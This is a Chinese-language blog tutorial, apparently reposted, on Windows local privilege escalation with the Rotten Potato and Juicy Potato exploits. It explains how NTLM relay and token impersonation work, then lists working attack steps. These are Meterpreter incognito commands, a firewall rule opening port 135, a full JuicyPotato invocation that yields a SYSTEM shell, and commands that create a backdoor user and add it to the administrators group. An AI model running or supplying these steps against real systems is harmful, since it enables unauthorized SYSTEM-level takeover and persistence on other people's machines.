windows提权—烂土豆(RottenPotato)及Juicy Potato提权
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows提权—烂土豆(RottenPotato)及Juicy Potato提权相关的知识,希望对你有一定的参考价值。
介绍
烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户
适用版本:Windows 7、8、10、2008、2012
烂土豆下载地址:
https://github.com/foxglovesec/Potato
烂土豆提权原理:
- 欺骗 “NT AUTHORITY\\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
- 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
通过烂土豆提权的重点是模拟令牌,在提权的过程中,我们最好已经获得了一个具有SeImpersonate权限或其他同等权限的账户,通常Windows中的许多服务具有此权限(IIS和SQL Server等)
烂土豆优点:
- 100%可靠
- 全版本通杀
- 立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。
msf-烂土豆提权
上传烂土豆到靶机上,通过msf获取meterpreter
查看是否具有Selmpersonate权限
meterpreter > getprivs
##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv
如下,SeImpersonatePrivilege是土豆提权的必要条件
再使用incognito执行烂土豆,欺骗得到system令牌
use incognito
list_tokens -u
execute -cH -f c:\\\\wmpub\\\\potato.exe
欺骗成功
最后一行模拟到system的令牌
meterpreter > execute -f potato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT SERVICE\\SQLSERVERAGENT
NT SERVICE\\SQLTELEMETRY
TALLY\\Sarah
Impersonation Tokens Available
========================================
NT AUTHORITY\\SYSTEM
模拟成功后,需要快速使用,否则令牌会消失
impersonate_token "NT AUTHORITY\\\\SYSTEM"
juicypotato.exe(多汁土豆提权)
下载地址:
https://github.com/ohpe/juicy-potato
个人理解的原理(说的不对,但好理解一点):
在本地账户的权限下
1.以system权限加载COM请求,认证NTLM(当然我们是本地账户,无法越权使用system权限,会认证失败)2.再以本地账户权限发起默认135端口请求,认证NTLM(这次权限对了认证成功了)
3.分别拦截两个NTLM的数据包,替换数据,使得通过步骤1的认证,获得system权限的token
4.利用system权限的token创建进程
实现流程如下(大佬的说明)
1、加载COM,发出请求,权限为System 在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md2、回应步骤1的请求,发起NTLM认证 正常情况下,由于权限不足,当前权限不是System,无法认证成功。
3、针对本地端口,同样发起NTLM认证,权限为当前用户 由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。 Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限转载自:https://blog.csdn.net/qq_26091745/article/details/105091686
提权步骤:
##查看本地用户的权限,是否具有SeImpersonate或SeAssignPrimaryToken权限
whoami /all
whoami priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t * 如果均未开启,那么无法提权。
查看RPC默认端口是否为135
netstat -abno
##若rpc服务被修改,则使用-n 参数指定修改后的端口,如 -n 111
##添加防火墙规则,允许135端口入站
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
不同操作系统选择可用的CLSID
参考列表:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
随便选择了一个
6d18ad12-bde3-4393-b311-099c346e6df9
选择系统未占用的端口作为监听端口
最终提权命令如下
C:\\wmpub\\JuicyPotato.exe -t t -p c:\\windows\\system32\\cmd.exe -l 1111 -c {6d18ad12-bde3-4393-b311-099c346e6df9}
执行成功即可获取一个system权限的shell,后续就是打开任务管理器,关闭explore任务,再开启explore任务即可得到一个system权限的桌面
另一个大佬写的webshell、shellcode的juicyPotato.exe
##下载地址
https://github.com/uknowsec/JuicyPotato
提权命令
C:\\juicyPotato_32.exe -p whoami
##执行命令
execute -f juicypotato.exe -p net user test 123456
execute -f juicypotato.exe -p net localgroup administrators test /add
很菜很菜,好多东西搞不懂
参考:
https://3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/juicypotato
https://blog.csdn.net/god_zzZ/article/details/106334702
以上是关于windows提权—烂土豆(RottenPotato)及Juicy Potato提权的主要内容,如果未能解决你的问题,请参考以下文章